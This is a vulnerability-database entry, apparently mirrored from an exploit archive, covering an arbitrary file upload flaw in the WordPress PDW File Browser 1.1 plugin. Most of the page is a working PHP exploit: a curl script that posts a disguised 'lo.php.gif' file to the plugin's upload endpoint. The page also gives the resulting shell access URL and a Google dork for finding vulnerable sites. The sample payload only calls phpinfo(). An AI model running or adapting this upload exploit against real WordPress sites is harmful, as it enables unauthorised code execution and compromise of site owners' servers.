WordPress PDW File Browser 1.1 Shell Upload

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1047279 漏洞类型
发布时间 2012-06-10 更新时间 2012-06-10
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2012060107
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
##################################################
# Description : Wordpress Plugins - PDW File Browser Arbitrary File 
Upload Vulnerability
# Version : 1.1
# Link : http://wordpress.org/extend/plugins/pdw-file-browser/
# Plugins : http://downloads.wordpress.org/plugin/pdw-file-browser.zip
# Date : 30-05-2012
# Google Dork : inurl:/wp-content/plugins/pdw-file-browser/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php.gif";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/pdw-file-browser/pdw_file_browser/swfupload/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
                
'uploadpath'=>'/wordpress/wp-content/plugins/pdw-file-browser/pdw_file_browser/swfupload/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : 
http://www.exemple.com/wordpress/wp-content/plugins/pdw-file-browser/pdw_file_browser/swfupload/lo.php.gif

lo.php.gif
<?php
phpinfo();
?>